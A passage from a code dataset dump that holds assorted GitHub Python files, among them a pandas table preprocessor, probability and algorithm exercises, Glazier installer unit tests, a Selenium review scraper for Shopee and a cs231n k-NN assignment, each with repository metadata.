df.columns + ' ' + df.iloc[0]\n df.drop(index=0, inplace = True)\n return df\n\n df2 = pehla_wala(df)\n\n\n if 'Rate ' in list(df.columns) and 'per ' in list(df.columns):\n df['Rate '] = df['Rate'].str.replace('[^,.0-9]', '', regex=True).str.strip()\n df['per '] = df['per'].str.replace('[^a-zA-Z]', '', regex = True).str.strip()\n elif 'Rate ' not in list(df.columns) and 'per ' in list(df.columns):\n df['Rate'] = df['per '].str.replace('[^,.0-9]', '', regex=True).str.strip()\n df['per'] = df['per '].str.replace('[^a-zA-Z]', '', regex = True).str.strip()\n df.drop(['per '], axis = 1, inplace = True)\n else:\n print('Sab sahi h bro!')\n\n\n def Concat(a,b):\n if a!=b:\n res=a + ' ' + b\n return res\n else:\n return a\n\n def amt_merge(df):\n \n if 'Unnamed: 9 ' in list(df.columns):\n df2['Amount'] = np.where((df2['Amount '] != df2['Unnamed: 9 ']) , df2['Amount '] + df2['Unnamed: 9 '], df2['Amount '])\n df.drop(df.filter(regex='Amount |9').columns, axis=1, inplace=True)\n elif 'Unnamed: 8 ' in list(df.columns):\n df2['Amount'] = np.where((df2['Amount '] != df2['Unnamed: 8 ']) , df2['Amount '] + df2['Unnamed: 8 '], df2['Amount '])\n df.drop(df.filter(regex='Amount |8').columns, axis=1, inplace=True)\n elif 'Unnamed: 7 ' in list(df.columns):\n df.rename(columns={ 'Unnamed: 7 ' : 'Amount' }, inplace=True)\n first_column = df.pop('Amount')\n df.insert(len(df.columns), 'Amount', first_column)\n else:\n df.insert(len(df.columns), 'Amount', df['Amount '])\n df.drop(['Amount '], axis = 1, inplace = True)\n print('ye thik h!')\n return df\n\n df3 = amt_merge(df2)\n\n def desc_merge(df):\n if 'Unnamed: 1 ' in list(df.columns):\n df.insert(1, 'Description999', df.apply(lambda row:Concat(row[1],row[2]),axis=1))\n df.insert(1, 'Description', np.where((df['Description999'] != df['Unnamed: 3 ']) , df['Description999'] + df['Unnamed: 3 '], df['Description999']))\n df.drop(df.filter(regex='Description999|Description of|3|1').columns, axis=1, inplace=True)\n elif 'Unnamed: 2 ' in list(df.columns):\n df.insert(1, 'Description', df.apply(lambda row:Concat(row[1],row[2]),axis=1))\n df.drop(df.filter(regex='Description of|2').columns, axis=1, inplace=True)\n else:\n df.rename(columns={ df.columns[1]: \"Description\" }, inplace=True)\n df.drop(df.filter(regex='Description of|2').columns, axis=1, inplace=True)\n print('ye thik h!') \n return df\n\n df4 = desc_merge(df)\n print(df4)\n df.to_excel(os.path.join(file_path,file_name.split('.')[0]+'.xlsx'), index=None)\n df5 = pd.read_excel(os.path.join(file_path,file_name.split('.')[0]+'.xlsx'), na_filter=False)\n os.remove(os.path.join(file_path,file_name.split('.')[0]+'.xlsx'))\n Amount = list()\n for i in range(len(df5['Amount'])):\n if (i+1 != len(df5['Amount'])):\n if ((df5['Amount'][i] != '' and df5['Amount'][i+1] == '') or (df5['Amount'][i-1]=='' and df5['Amount'][i] !='' and df5['Amount'][i+1] != '')):\n Amount.append(df5['Amount'][i])\n for amt in range(len(Amount)):\n if (Amount[amt] != Amount[-1]):\n x = np.where(df4['Amount'] == Amount[amt] )\n y = np.where(df4['Amount'] == Amount[amt+1] )\n for col in df4.columns:\n df4[col][x[0][0]:y[0][0]] = df4[col][x[0][0]:y[0][0]].str.cat(sep='\\n')\n print(df4)\n df_1 = df4.drop_duplicates(keep='first')\n\n df_1.to_excel(os.path.join(file_path,file_name.split('.')[0]+'.xlsx'), index = None)\n \n return 'Done'\n\n\n# json = df_1.to_json(path_or_buf = 'test1.json')\n\n\n# json_split = df_1.to_json(path_or_buf = 'test2.json', orient ='split')\n# print(\"json_split = \", json_split, \"\\n\")\n \n# json_records = df_1.to_json(path_or_buf = 'test3.json', orient ='records')\n# print(\"json_records = \", json_records, \"\\n\")\n \n# json_index = df_1.to_json(path_or_buf = 'test4.json', orient ='index')\n# print(\"json_index = \", json_index, \"\\n\")\n \n# json_columns = df_1.to_json(path_or_buf = 'test5.json', orient ='columns')\n# print(\"json_columns = \", json_columns, \"\\n\")\n \n# json_values = df_1.to_json(path_or_buf = 'test6.json', orient ='values')\n# print(\"json_values = \", json_values, \"\\n\")\n \n# json_table = df_1.to_json(path_or_buf = 'test7.json', orient ='table')\n# print(\"json_table = \", json_table, \"\\n\")","repo_name":"ron4u1998/hardwork","sub_path":"lasan/preprocess_csv_file copy_full_Table.py","file_name":"preprocess_csv_file copy_full_Table.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39773448161","text":"import sys\n\ndef prob_cherrylime(): # we use function to initialize the given probabilities for cherry and lime\n cherryh1,limeh1 = 1.0,0.0\n cherryh2,limeh2 = 0.75,0.25\n cherryh3,limeh3 = 0.50,0.50\n cherryh4,limeh4 = 0.25,0.75\n cherryh5,limeh5 = 0.0,0.0\n return(cherryh1,limeh1,cherryh2,limeh2,cherryh3,limeh3,cherryh4,limeh4,cherryh5,limeh5) #return the variables\n\t\t\n\ndef prob_bag(): # we use separate function to define the prior probability of each bag\n\t\n\tpriorh1 = 0.1 # Bag1 \n\tpriorh2 = 0.2 # Bag2 \n\tpriorh3 = 0.4 # Bag3 \n\tpriorh4 = 0.2 # Bag4 \n\tpriorh5 = 0.1 # Bag5 \n\t\n\treturn(priorh1,priorh2,priorh3,priorh4,priorh5) #returns the variables\n\n\ndef sequence_prob_calculcation(list_string): # since the given input is given as a string as command line arguments we use another function and print the\n # values to result.txt\n logfile = open('result.txt','w') \n cherryh1,limeh1,cherryh2,limeh2,cherryh3,limeh3,cherryh4,limeh4,cherryh5,limeh5=prob_cherrylime() \n priorh1,priorh2,priorh3,priorh4,priorh5=prob_bag()\n\n logfile.write(\"\\n\"+\"Observation sequence Q:\"+'\\t'+str(list_string)+'\\n' +\"Length of Q:\"+'\\t'+str(len(list_string))+\"\\n\\n\")\n print(\"-------------------------------------------------\")\n print(\"\\nSequence Is : \",list_string,\"\\n\")\n print(\"-------------------------------------------------\")\n\n # Assigning the values to a temp variable to calculate the initial probability\n pinit_h1 = priorh1 \n pinit_h2 = priorh2\n pinit_h3 = priorh3\n pinit_h4 = priorh4\n pinit_h5 = priorh5\n \t\n prob_Qcherry = float(cherryh1 * pinit_h1 + cherryh2 * pinit_h2 + cherryh3 * pinit_h3 + cherryh4 * pinit_h4 + cherryh5 * pinit_h5)\n prob_Qlime = float(1.0-prob_Qcherry)\n lcount=0 # Initial count is zero \n\n while(lcount 1 and s[i - 2] != '0' and int(s[i - 2: i]) <= 26:\n f[i] += f[i - 2]\n return f[n]\n\n\ns = \"12\"\nprint(numDecodings(s))","repo_name":"opensourcex123/LeetCode","sub_path":"demo171 解码方法.py","file_name":"demo171 解码方法.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13596081692","text":"def split(n):\n\n # force remainder > 0\n n -= 1\n remainder = 1\n\n n = str(n)\n length = len(n)\n\n for i in range(length):\n if n[i] == '4':\n n = n[:i] + '3' + n[(i + 1):]\n remainder += 10**(length - i - 1) \n\n return n, remainder\n\nt = int(input()) # read number of tests\nfor i in xrange(1, t + 1):\n n = int(raw_input()) # read number\n a, b = split(n)\n print (\"Case #{}: {} {}\".format(i, a, b))","repo_name":"matthewrossi/coding-challenges","sub_path":"code-jam/2019/QR/foregone-solution/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"13610696321","text":"from unittest import mock\n\nfrom absl.testing import absltest\nfrom glazier.lib import buildinfo\nfrom glazier.lib import events\nfrom glazier.lib import log_copy\nfrom glazier.lib import stage\nfrom glazier.lib import test_utils\nfrom glazier.lib.actions import installer\n\nfrom glazier.lib import constants\n\n\nclass InstallerTest(test_utils.GlazierTestCase):\n\n @mock.patch.object(buildinfo, 'BuildInfo', autospec=True)\n def test_add_choice(self, mock_buildinfo):\n choice = {\n 'type':\n 'toggle',\n 'prompt':\n 'Set system shell to PowerShell',\n 'name':\n 'core_ps_shell',\n 'options': [{\n 'tip': '',\n 'value': False,\n 'label': 'False'\n }, {\n 'default': True,\n 'tip': '',\n 'value': True,\n 'label': 'True'\n }]\n }\n a = installer.AddChoice(choice, mock_buildinfo)\n a.Run()\n mock_buildinfo.AddChooserOption.assert_called_with(choice)\n\n def test_add_choice_validate(self):\n choice = {\n 'type':\n 'toggle',\n 'prompt':\n 'Set system shell to PowerShell',\n 'name':\n 'core_ps_shell',\n 'options': [{\n 'tip': '',\n 'value': False,\n 'label': 'False'\n }, {\n 'default': True,\n 'tip': '',\n 'value': True,\n 'label': 'True'\n }]\n }\n a = installer.AddChoice(choice, None)\n a.Validate()\n\n # prompt (name, type)\n choice['name'] = True\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # tip\n choice['name'] = 'core_ps_shell'\n choice['options'][0]['tip'] = True\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # default\n choice['options'][0]['tip'] = ''\n choice['options'][0]['default'] = 3\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # label\n choice['options'][0]['default'] = True\n choice['options'][0]['label'] = False\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # value\n choice['options'][0]['label'] = 'False'\n choice['options'][0]['value'] = []\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # options dict\n choice['options'][0] = False\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n # options list\n choice['options'] = False\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n del choice['name']\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n a = installer.AddChoice(False, None)\n with self.assert_raises_with_validation(installer.ValidationError):\n a.Validate()\n\n @mock.patch.object(buildinfo, 'BuildInfo', autospec=True)\n def test_build_info_dump(self, mock_buildinfo):\n d = installer.BuildInfoDump(None, mock_buildinfo)\n d.Run()\n mock_buildinfo.Serialize.assert_called_with(\n '{}/build_info.yaml'.format(constants.SYS_CACHE))\n\n @mock.patch.object(installer.registry, 'set_value', autospec=True)\n @mock.patch.object(buildinfo, 'BuildInfo', autospec=True)\n def test_build_info_save(self, mock_buildinfo, mock_set_value):\n\n timer_root = r'{0}\\{1}'.format(constants.REG_ROOT, 'Timers')\n temp_cache_dir = self.create_tempdir()\n self.patch_constant(constants, 'SYS_CACHE', temp_cache_dir.full_path)\n temp_cache_dir.create_file(\n file_path='build_info.yaml',\n content='{BUILD: {opt 1: true, TIMER_opt 2: some value, opt 3: 12345}}\\n'\n )\n s = installer.BuildInfoSave(None, mock_buildinfo)\n s.Run()\n\n mock_set_value.assert_has_calls(\n [\n mock.call('opt 1', True, 'HKLM', constants.REG_ROOT),\n mock.call('TIMER_opt 2', 'some value', 'HKLM', timer_root),\n mock.call('opt 3', 12345, 'HKLM', constants.REG_ROOT),\n ],\n any_order=True)\n s.Run()\n\n @mock.patch.object(installer.logging, 'debug', autospec=True)\n @mock.patch.object(buildinfo, 'BuildInfo', autospec=True)\n def test_build_info_save_error(self, mock_buildinfo, mock_debug):\n installer.BuildInfoSave(None, mock_buildinfo).Run()\n mock_debug.assert_called_with(\n '%s does not exist - skipped processing.',\n '{}/build_info.yaml'.format(constants.SYS_CACHE))\n\n def test_change_server(self):\n build_info = buildinfo.BuildInfo()\n d = installer.ChangeServer(\n ['http://new-server.example.com', '/new/conf/root'], build_info)\n with self.assert_raises_with_validation(events.ServerChangeEvent):\n d.Run()\n self.assertEqual(build_info.ConfigServer(), 'http://new-server.example.com')\n self.assertEqual(build_info.ActiveConfigPath(), '/new/conf/root')\n\n @mock.patch.object(installer.file_system, 'CopyFile', autospec=True)\n def test_exit_win_pe(self, mock_copyfile):\n cache = constants.SYS_CACHE\n ex = installer.ExitWinPE(None, None)\n with self.assert_raises_with_validation(events.RestartEvent):\n ex.Run()\n mock_copyfile.assert_has_calls([\n mock.call(['/task_list.yaml',\n '%s/task_list.yaml' % cache], mock.ANY),\n ])\n mock_copyfile.return_value.Run.assert_called()\n\n @mock.patch.object(installer.log_copy, 'LogCopy', autospec=True)\n def test_log_copy(self, mock_logcopy):\n\n log_file = r'X:\\glazier.log'\n log_host = 'log-server.example.com'\n\n # copy eventlog\n lc = installer.LogCopy([log_file], None)\n lc.Run()\n mock_logcopy.return_value.EventLogCopy.assert_called_with(log_file)\n self.assertFalse(mock_logcopy.return_value.ShareCopy.called)\n mock_logcopy.reset_mock()\n\n # copy both\n lc = installer.LogCopy([log_file, log_host], None)\n lc.Run()\n mock_logcopy.return_value.EventLogCopy.assert_called_with(log_file)\n mock_logcopy.return_value.ShareCopy.assert_called_with(log_file, log_host)\n mock_logcopy.reset_mock()\n\n # copy errors\n mock_logcopy.return_value.EventLogCopy.side_effect = log_copy.LogCopyError(\n 'fail')\n mock_logcopy.return_value.ShareCopy.side_effect = log_copy.LogCopyError(\n 'fail')\n lc.Run()\n mock_logcopy.return_value.EventLogCopy.assert_called_with(log_file)\n mock_logcopy.return_value.ShareCopy.assert_called_with(log_file, log_host)\n\n def test_log_copy_validate(self):\n log_host = 'log-server.example.com'\n lc = installer.LogCopy(r'X:\\glazier.log', None)\n with self.assert_raises_with_validation(installer.ValidationError):\n lc.Validate()\n lc = installer.LogCopy([1, 2, 3], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n lc.Validate()\n lc = installer.LogCopy([1], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n lc.Validate()\n lc = installer.LogCopy([r'X:\\glazier.log'], None)\n lc.Validate()\n lc = installer.LogCopy([r'X:\\glazier.log', log_host], None)\n lc.Validate()\n\n @mock.patch.object(installer.time, 'sleep', autospec=True)\n def test_sleep(self, sleep):\n s = installer.Sleep([1520], None)\n s.Run()\n sleep.assert_called_with(1520)\n\n @mock.patch.object(installer.time, 'sleep', autospec=True)\n def test_sleep_string(self, sleep):\n s = installer.Sleep([1234, 'Some Reason.'], None)\n s.Run()\n sleep.assert_called_with(1234)\n\n def test_sleep_validate(self):\n s = installer.Sleep('30', None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.Sleep([1, 2, 3], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.Sleep(['30'], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.Sleep([30], None)\n s.Validate()\n s = installer.Sleep([30, 'Some reason.'], None)\n s.Validate()\n\n @mock.patch.object(installer.chooser, 'Chooser', autospec=True)\n @mock.patch.object(buildinfo, 'BuildInfo', autospec=True)\n def test_show_chooser(self, build_info, chooser):\n c = installer.ShowChooser(None, build_info)\n c.Run()\n self.assertTrue(chooser.return_value.Display.called)\n self.assertTrue(chooser.return_value.Display.called)\n build_info.StoreChooserResponses.assert_called_with(\n chooser.return_value.Responses.return_value)\n self.assertTrue(build_info.FlushChooserOptions.called)\n\n @mock.patch.object(installer.stage, 'set_stage', autospec=True)\n def test_start_stage(self, set_stage):\n s = installer.StartStage([1], None)\n s.Run()\n set_stage.assert_called_with(1)\n\n @mock.patch.object(installer.stage, 'set_stage', autospec=True)\n @mock.patch.object(installer.stage, 'exit_stage', autospec=True)\n def test_start_non_terminal_stage(self, exit_stage, set_stage):\n installer.StartStage([50, False], None).Run()\n set_stage.assert_called_with(50)\n self.assertFalse(exit_stage.called)\n\n @mock.patch.object(installer.stage, 'set_stage', autospec=True)\n @mock.patch.object(installer.stage, 'exit_stage', autospec=True)\n def test_start_terminal_stage(self, exit_stage, set_stage):\n installer.StartStage([100, True], None).Run()\n set_stage.assert_called_with(100)\n exit_stage.assert_called_with(100)\n\n @mock.patch.object(installer.stage, 'set_stage', autospec=True)\n def test_start_stage_exception(self, set_stage):\n set_stage.side_effect = stage.Error('Test')\n ss = installer.StartStage([2], None)\n with self.assert_raises_with_validation(installer.ActionError):\n ss.Run()\n\n def test_start_stage_validate(self):\n s = installer.StartStage('30', None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.StartStage([1, 2, 3], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.StartStage(['30'], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.StartStage([30, 'Hello'], None)\n with self.assert_raises_with_validation(installer.ValidationError):\n s.Validate()\n s = installer.StartStage([30], None)\n s.Validate()\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/glazier","sub_path":"glazier/lib/actions/installer_test.py","file_name":"installer_test.py","file_ext":"py","file_size_in_byte":10333,"program_lang":"python","lang":"en","doc_type":"code","stars":1200,"dataset":"github-code","pt":"48"} +{"seq_id":"39021966990","text":"def getSoinNumber (num) :\n\tret = []\n\tfor i in range(2,num+1) :\n\t\tif num == 1 : break\n\t\twhile 1 :\n\t\t\tif num % i == 0 :\n\t\t\t\tret.append(i) \n\t\t\t\tnum = num / i\n\t\t\telse :\n\t\t\t\tbreak\n\treturn ret\n\t\n\t\nresult = getSoinNumber(8)\n\nprint (result)\n","repo_name":"kimjeonghyon/Algorithms","sub_path":"Python/soinnumber.py","file_name":"soinnumber.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"630658290","text":"from app.config import es_index\nfrom elasticsearch import Elasticsearch\n\n# default configuration settings (localhost:9200)\nes = Elasticsearch()\n\nq = {\n \"indices\": es_index,\n \"ignore_unavailable\": False,\n \"include_global_state\": True\n}\n\nes.snapshot.create(repository='unicorn_backups',\n body=q,\n snapshot='2015-03-30_all_focus_africa')\n","repo_name":"giantoak/unicorn","sub_path":"util/backup/create_snapshot.py","file_name":"create_snapshot.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"72984923665","text":"from django.shortcuts import render, redirect\nfrom lung_cancer_detection.forms import CTScanForm\n#from forms import CTScanForm\nfrom .models import CTScan\n\n\ndef index(request):\n if request.method == 'POST':\n form = CTScanForm(request.POST, request.FILES)\n if form.is_valid():\n ct_scan = form.save()\n \n # Pass the CT scan to the machine learning model to get the result\n result = predict_result(ct_scan.ct_scan.path)\n \n # Save the result in the database\n ct_scan.result = result\n ct_scan.save()\n \n return redirect('result', pk=ct_scan.pk)\n else:\n form = CTScanForm()\n return render(request, 'detection/index.html', {'form': form})\n\ndef result(request, pk):\n ct_scan = CTScan.objects.get(pk=pk)\n return render(request, 'detection/result.html', {'ct_scan': ct_scan})\n\ndef predict_result(ct_scan_path):\n\n \n\n return result","repo_name":"anujpandey785/lung_cancer_detection","sub_path":"detection/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40381858833","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport pandas as pd\nimport csv\n\n\nclass Crawl_Feedback(object):\n #Using data frame from pandas lib to store crawled data\n data_frame = pd.DataFrame()\n with open('new1.csv','a',encoding=\"utf-8\") as f_object:\n writer_object = csv.writer(f_object)\n writer_object.writerow([\"Category\",\"Feedback\",\"Rate\"])\n error_catching = 0\n #Define chrome driver to use\n driver = webdriver.Chrome('C:\\chromedriver_win32\\chromedriver.exe')\n\n #Function to open shopee on chrome browser\n def openChrome(self):\n (self.driver).get(\"https://shopee.vn/\")\n (self.driver).maximize_window()\n #Close pop up advertisement if found\n self.close_popup()\n \n #Function to close pop up ad\n def close_popup(self):\n try:\n #find element representing the close button\n close_ad = WebDriverWait(self.driver,10).until(\n EC.presence_of_element_located((By.CLASS_NAME,\"shopee-popup__close-btn\"))\n )\n #click button to close pop up ad\n close_ad.click()\n except:\n print(\"There's no pop up\")\n\n\n # Main function to crawl data\n def crawl_data(self):\n self.openChrome()\n try:\n #find all categories's element\n categories = WebDriverWait(self.driver,15).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME,\"_13sfos\")) #find class name of categories\n )\n list_category = [] #array to store name of categories\n #Take category's name and store in a array to access in next step\n count = 0\n for category in categories:\n name_category = category.text\n list_category.append(name_category)\n number_of_category = len(list_category)\n #Starting access to each category\n for type_product in list_category:\n count +=1\n if(count <=1): \n continue\n # Clicking to chosing category\n time.sleep(3)\n #Put an exception handle to close popup\n self.close_popup()\n #Find categỏies and Click to navigating to categories\n link_to_category = (self.driver).find_element_by_link_text(type_product)\n link_to_category.click()\n #Scroll down to load element and click in product\n time.sleep(5)\n (self.driver).execute_script(\"window.scrollBy(0,2000)\",\"\")\n time.sleep(4)\n (self.driver).execute_script(\"window.scrollBy(0,1000)\",\"\")\n time.sleep(4)\n (self.driver).execute_script(\"window.scrollBy(0,500)\",\"\")\n time.sleep(4)\n (self.driver).execute_script(\"window.scrollBy(0,1000)\",\"\")\n time.sleep(4)\n new_products = WebDriverWait(self.driver,10).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME,\"_35LNwy\")) #find classname of products\n )\n number_of_products = len(new_products)\n ################################################3\n #chose product \n for i in range(1,number_of_products-45):\n y = str(i) #index in xpath of product\n new_product = WebDriverWait(self.driver,10).until(\n EC.presence_of_element_located((By.XPATH,'//*[@id=\"main\"]/div/div[2]/div[2]/div[4]/div[2]/div/div[2]/div['+y+']'))\n )\n new_product.click() #click to view comment of product\n #SCroll down to load the comment of customer\n time.sleep(4)\n (self.driver).execute_script(\"window.scrollBy(0,1000)\",\"\")\n time.sleep(4)\n (self.driver).execute_script(\"window.scrollBy(0,1800)\",\"\")\n time.sleep(4)\n list_comments = []\n list_num_rating = []\n try:\n #Go to comment page of 5-4-3-2-1 stars rating\n for num_rate in range(2,7):\n Overview_rating = WebDriverWait(self.driver,3).until(\n EC.presence_of_element_located((By.XPATH,'//*[@id=\"main\"]/div/div[2]/div[2]/div[2]/div[3]/div[2]/div[1]/div[2]/div/div[2]/div[2]/div['+str(num_rate)+']'))\n )\n time.sleep(3)\n Overview_rating.click()\n self.error_catching = 0\n #Take the feedback of customer\n try:\n comments = WebDriverWait(self.driver,3).until(\n EC.presence_of_all_elements_located((By.CLASS_NAME,\"shopee-product-rating__content\"))\n )\n #Take number of rating stars\n for rating in (self.driver).find_elements_by_css_selector('.shopee-product-rating'):\n stars = rating.find_elements_by_css_selector('.icon-rating-solid')\n num = len(stars)\n list_num_rating.append(num)\n for comment in comments:\n string = comment.text\n list_comments.append(string)\n\n number_feedback = len(list_num_rating)\n except:\n self.error_catching =1\n dict = {'Category':type_product,'Feedback': list_comments,'Rate': list_num_rating}\n df = pd.DataFrame(dict)\n df.to_csv('new1.csv',mode= 'a',header = False, index = False)\n except:\n self.error_catching =1\n # print(list_comments)\n # print(list_num_rating)\n #write csv file\n\n time.sleep(5)\n (self.driver).back()\n time.sleep(5)\n print(\"thành cong\")\n\n # time.sleep(3)\n (self.driver).back()\n time.sleep(3)\n # driver.back()\n except:\n print(\"An error has occured !\")\n (self.driver).quit()\n\n \n\n\nif __name__ == '__main__':\n crawl_machine = Crawl_Feedback()\n crawl_machine.crawl_data()\n","repo_name":"sonhm3029/craw-data-with-selenium","sub_path":"crawl_with_selenium.py","file_name":"crawl_with_selenium.py","file_ext":"py","file_size_in_byte":6905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"11112157070","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom cs231n.data_utils import load_CIFAR10\nfrom cs231n.classifiers import KNearestNeighbor\n\ncifar10_dir = 'cs231n/datasets/cifar-10-batches-py'\nX_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir)\nclasses = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n\nnum_training = 5000\nmask = list(range(num_training))\nX_train = X_train[mask]\ny_train = y_train[mask]\n\nnum_test = 500\nmask = list(range(num_test))\nX_test = X_test[mask]\ny_test = y_test[mask]\n\n# Reshape the image data into rows\nX_train = np.reshape(X_train, (X_train.shape[0], -1))\nX_test = np.reshape(X_test, (X_test.shape[0], -1))\n\n\nclassifier = KNearestNeighbor()\nclassifier.train(X_train, y_train)\ny_test_pred = classifier.predict(X_test, k=1,num_loops=0)\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n\ny_test_pred = classifier.predict(X_test, k=5,num_loops=0)\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n\n\nnum_folds = 5\nk_choices = [1, 3, 5, 8, 10, 12, 15, 20, 50, 100]\n\nX_train_folds = []\ny_train_folds = []\n################################################################################\n# TODO: #\n# Split up the training data into folds. After splitting, X_train_folds and #\n# y_train_folds should each be lists of length num_folds, where #\n# y_train_folds[i] is the label vector for the points in X_train_folds[i]. #\n# Hint: Look up the numpy array_split function. #\n################################################################################\n# *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\nX_train_folds=np.array_split(X_train,num_folds)\ny_train_folds=np.array_split(y_train,num_folds)\n\nprint(y_train_folds)\n# *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n# A dictionary holding the accuracies for different values of k that we find\n# when running cross-validation. After running cross-validation,\n# k_to_accuracies[k] should be a list of length num_folds giving the different\n# accuracy values that we found when using that value of k.\nk_to_accuracies = {}\n\n\n################################################################################\n# TODO: #\n# Perform k-fold cross validation to find the best value of k. For each #\n# possible value of k, run the k-nearest-neighbor algorithm num_folds times, #\n# where in each case you use all but one of the folds as training data and the #\n# last fold as a validation set. Store the accuracies for all fold and all #\n# values of k in the k_to_accuracies dictionary. #\n################################################################################\n# *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\nfor k in k_choices:\n k_to_accuracies[k] = []\n for i in range(num_folds):\n # prepare training data for the current fold\n X_validation=X_train_folds[i]\n y_validation=y_train_folds[i]\n for j in range(num_folds):\n if j!=i:\n X_train_data = np.concatenate(X_train_folds[j])\n y_train_data = np.concatenate(y_train_folds[j])\n \n # use of k-nearest-neighbor algorithm\n classifier.train(X_train_data, y_train_data)\n y_pred = classifier.predict(X_validation, k=k, num_loops=0)\n\n # Compute the fraction of correctly predicted examples\n num_correct = np.sum(y_pred_ == y_validation)\n accuracy = float(num_correct) / X_train_folds[i].shape[0]\n k_to_accuracies[k].append(accuracy)\n\n# *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n\n# Print out the computed accuracies\nfor k_value in sorted(k_to_accuracies):\n for accuracy in k_to_accuracies[k]:\n print('k = %d, accuracy = %f' % (k_value, accuracy))\n# plot the raw observations\nfor k in k_choices:\n accuracies = k_to_accuracies[k]\n plt.scatter([k] * len(accuracies), accuracies)\n\n# plot the trend line with error bars that correspond to standard deviation\naccuracies_mean = np.array([np.mean(v) for k,v in sorted(k_to_accuracies.items())])\naccuracies_std = np.array([np.std(v) for k,v in sorted(k_to_accuracies.items())])\nplt.errorbar(k_choices, accuracies_mean, yerr=accuracies_std)\nplt.title('Cross-validation on k')\nplt.xlabel('k')\nplt.ylabel('Cross-validation accuracy')\nplt.show()\n\n# Based on the cross-validation results above, choose the best value for k,\n# retrain the classifier using all the training data, and test it on the test\n# data. You should be able to get above 28% accuracy on the test data.\nbest_k = 1\n\nclassifier = KNearestNeighbor()\nclassifier.train(X_train, y_train)\ny_test_pred = classifier.predict(X_test, k=best_k)\n\n# Compute and display the accuracy\nnum_correct = np.sum(y_test_pred == y_test)\naccuracy = float(num_correct) / num_test\nprint('Got %d / %d correct => accuracy: %f' % (num_correct, num_test, accuracy))\n","repo_name":"BaiLiping/DRL","sub_path":"Lectures/CS231/assignment1/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"28203914101","text":"from time import time\n\nclass TagTimer:\n \"\"\"\n Helper class for timimg. It's meant to be used for manually inspecting\n code.\n\n Examples\n --------\n .. code-block:: python\n\n tt = TagTimer()\n\n # print some message\n tt.p('start profiling part 1')\n # set start time for tag 'outer-loop'\n tt.t('outer-loop')\n for i ...\n \n # set start time for tag 'inner-loop'\n tt.t('inner-loop')\n for j ...\n \n # use case 1: get stop time and print timing (stop - start) for tag\n # 'inner-loop' immediately\n tt.pt('inner-loop')\n # use case 2: get stop time and store it\n tt.t('outer-loop')\n \n # print timing (stop - start) for tag 'outer-loop' later (maybe in some\n # summary statistic or so)\n tt.pt('outer-loop')\n\n # it's possible to re-use tags\n tt.p('start profiling part 2')\n tt.t('outer-loop')\n for i ...\n \n tt.t('inner-loop')\n ....\n \"\"\"\n def __init__(self, silence=False):\n self.none_ar = [None, None]\n # {'tag0': array([val0, val1]), 'tag1': array([val2, val3]), ...}\n # Every `val` can be None or a float (= a time value). `tag` is a tag\n # string like 'outer-loop'.\n self.time_ar_dict = dict()\n self.silence = silence\n\n def t(self, tag):\n \"\"\"\n Assign and save a numeric value (a time value) in a storage array\n associated with `tag`.\n\n Parameters\n ----------\n tag : anything hashable\n a tag (most likely a string) associated with a storage array\n\n Notes\n -----\n After initialization, self.time_ar_dict[tag] == [None, None].\n\n | The 1st call assings self.time_ar_dict[tag][0] =